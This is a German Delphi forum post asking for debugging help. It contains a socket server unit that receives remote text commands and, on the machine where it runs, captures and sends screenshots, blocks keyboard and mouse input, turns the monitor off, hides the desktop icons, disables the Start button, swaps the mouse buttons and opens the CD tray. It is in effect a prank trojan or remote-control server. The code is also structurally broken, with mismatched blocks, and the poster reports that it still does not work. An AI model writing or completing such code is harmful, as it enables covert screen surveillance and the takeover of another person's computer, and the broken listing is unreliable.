Server nimmt keine Befehle mehr an...

[FileOwner]

danke, aber der code stammte nicht von mir, ich probiers später mal aus


Edit: habs mal so geändert:

Delphi-Quellcode:

unit serve;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ScktComp, StdCtrls, Shellapi,mmsystem, ExtCtrls, IdBaseComponent,
  IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, IdCustomTCPServer,
  IdTCPServer, IdCmdTCPServer, tlhelp32, JPEG, strutils;

type
  TForm1 = class(TForm)
    Server: TServerSocket;
    procedure ServerClientRead(Sender: TObject; Socket: TCustomWinSocket);
  private
    { Private-Deklarationen }
  public
    { Public-Deklarationen }
  end;

var
  Form1: TForm1;
    dc: HDC;
  DestopWindowHandle: hWND;

 Bmp : TBitmap;
Jpeg : TJpegimage;
empfangen:string;

implementation

{$R *.dfm}

procedure GetProcessList(const aProcessList: TStrings);
var
  Snap: THandle;
  ProcessE: TProcessEntry32;
begin
  aProcessList.Clear;
  Snap := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  try
    ProcessE.dwSize := SizeOf(ProcessE);
    if Process32First(Snap, ProcessE) then
      Repeat
        aProcessList.Add(ProcessE.szExeFile);
      Until not Process32Next(Snap, ProcessE)
    else
      RaiseLastOSError;
  finally
    CloseHandle(Snap);
  end;
end;



 procedure SetStartBtnEnabled(const AEnabled: Boolean);
begin
  EnableWindow(FindWindowEx(FindWindow('Shell_TrayWnd',nil),
                            0,
                            'Button',
                            nil),
               AEnabled);
end;

  Function BlockInput(fBlock: boolean): boolean; stdcall;
             external 'user32.dll';

             procedure SwapMouseButtons(const ASwap: Boolean);
begin
  if ASwap then
    SystemParametersInfo(SPI_SETMOUSEBUTTONSWAP,1, Nil, 0)
  else
    SystemParametersInfo(SPI_SETMOUSEBUTTONSWAP,0, Nil, 0);

        end;

procedure ScreenShot(const Bitmap: TBitmap);
var
  DesktopDC: HDC;
begin
  DesktopDC := CreateDC('DISPLAY', nil, nil, nil);
  try
    Bitmap.PixelFormat := pfDevice;
    Bitmap.Width := Screen.Width;
    Bitmap.Height := Screen.Height;
    BitBlt(Bitmap.Canvas.Handle, 0, 0, Screen.Width, Screen.Height, DesktopDC, 0, 0, SRCCOPY);
  finally
    DeleteDC(DesktopDC);
  end;
end;


var
sM : TMemoryStream;

procedure TForm1.ServerClientRead(Sender: TObject; Socket: TCustomWinSocket);
var exec:string;


begin
exec := Socket.ReceiveText;



 if leftstr(exec,length('Screenshot'))='Screenshot' then begin
    FreeAndNil(sM);
    Bmp:=TBitmap.Create;
    Jpeg:=TJpegImage.Create;
    sM:=TMemoryStream.Create;
        try
        ScreenShot(bmp);
       Jpeg.CompressionQuality:=strtoint(rightstr(exec,length(exec)-length('Screenshot')));
        Jpeg.Assign(Bmp);
        Jpeg.SaveToStream(sM);
        finally
        Jpeg.Free;
        Bmp.Free;

   Form1.Server.socket.SendText(IntToStr(sM.Size));


// Empfänger hat Größe erhalten, das senden der Datei wird durchgeführt
If exec='ok' then begin
 Form1.Server.socket.SendBuf(sM.Memory^, sM.Size);

    end;
    begin
//////////////////////////////

//Cd Laufwerk öffnen

if exec = 'cd_open' then begin
mciSendstring('SET CDAUDIO DOOR OPEN WAIT', nil, 0, Self.Handle) end else

//CD Laufwerk schließen
if exec = 'cd_close' then begin
mciSendstring('SET CDAUDIO DOOR Closed WAIT', nil, 0, Self.Handle) end else

//Desktopfarbe umkehren
if  exec = 'color' then  begin
    DestopWindowHandle := GetDesktopWindow;
    dc := GetWindowDC(DestopWindowHandle);
  try
    Invertrect(dc, Screen.DesktopRect);
  finally
    ReleaseDC(DestopWindowHandle, dc); end end  else



//Monitor Anschalten
    if exec='monitor_on' then begin
SendMessage(Application.Handle,
           WM_SYSCOMMAND, SC_MONITORPOWER, 0); end else

//Monitor Ausschalten
               if exec='monitor_off' then begin
SendMessage(Application.Handle,
           WM_SYSCOMMAND, SC_MONITORPOWER, 1); end else

//Start Button ausschalten
  if exec='startbtn_0' then begin
  SetStartBtnEnabled(false);
  end else

  //Start Button einschalten
  if exec='startbtn_1' then begin
  SetStartBtnEnabled(true);
  end else

  //Icons ausblenden
   if exec='icons_off' then
   ShowWindow(FindWindow(nil,'Program Manager'),SW_HIDE)  else

  //icons einblenden
   if exec='icons_on' then
   ShowWindow(FindWindow(nil,'Program Manager'),SW_Show)else

   //Eingabegeräte sperren

 if exec= 'block_1' then  BlockInput(true) else
   //Eingabegeräte  freigeben
  if exec= 'block_0' then  BlockInput(false) else

  //Maustasten tauschen
  if exec= 'mouse_1' then  SwapMouseButtons(true) else
  //Maustasten zurücksetzen
    if exec= 'mouse_0' then  SwapMouseButtons(false) else





end;
end;
 end;
end;
end;
end.

hat aber leider nix gebracht